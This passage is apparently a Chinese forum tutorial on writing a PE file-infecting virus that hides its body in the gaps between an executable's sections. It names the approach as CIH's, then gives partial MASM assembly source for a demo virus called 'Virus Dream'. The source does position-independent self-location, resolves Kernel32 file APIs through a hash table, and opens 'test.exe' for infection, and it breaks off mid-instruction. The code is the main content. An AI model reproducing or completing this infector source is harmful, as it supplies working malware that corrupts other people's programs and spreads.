原文:http://www.pediy.com/kssd/index.html -- 病毒技术 -- 病毒知识 -- Anti Virus专题
那么搜寻节空隙感染,最重要的就是找到我们节中存在的空隙。一般在病毒技术中,有两种方法。
- 循环读取节表,然后分别在每个节中搜寻00机器码(因为默认编译器是用00机器码填充的),如果此00机器码区域的大小大于病毒的体积。则取这段区域的偏移。
- 循环读取节表,通过节表结构中的物理文件大小 - 节映射大小 取得 节后面的物理空隙,然后判断此段空隙大小是否大于我们病毒体积,如果大于的话,则取这段区域的偏移。
我们今天的代码使用的是第二种方法,因为第一种方法的弊端太多,例如如果被感染文件的空隙不是00机器码填充的等。为了稳定性还是选择第二种方法,虽然它的限制会比较多。实际上CIH利用的也是我们今天的第二种方法。
代码:
; 链接选项加入/SECTION:.text|RWE
.386
.model flat, stdcall
option casemap:none
include windows.inc
.code
VirusEntry:
pushad
call Dels
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
Table:
dd 038C62A7Ah
_CreateFile dd 0
dd 09554EFE7h
_GetFileSize dd 0
dd 00BE25545h
_ReadFile dd 0
dd 0A9D1FD70h
_SetFilePointer dd 0
dd 0C0D6D616h
_CloseHandle dd 0
dd 0C2F6D009h
_GlobalAlloc dd 0
dd 0585ED3CFh
_GlobalFree dd 0
dd 058D8C545h
_WriteFile dd 0
dd 0A412FD89h
_LoadLibrary dd 0
dd 014D14C51h
_MessageBox dd 0
dd 0
szCaption db 'Virus Dream - Demo', 0
szText db 'Oh Yeah of Virus Dream', 0
szFileName db 'test.exe', 0
nWriteByteNum dd 0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
Dels:
pop ebp
call GetKernel32
mov edi, ebp ; edi = pHashStringList = Table
call GetFuncAddress
push '23'
push 'resu'
push esp ; lpFileName = user32
call dword ptr [ebp + (_LoadLibrary - Table)]
pop edx
pop edx ; 弹出'user32'
mov edi, ebp
call GetFuncAddress
cmp ebp, Dels - (De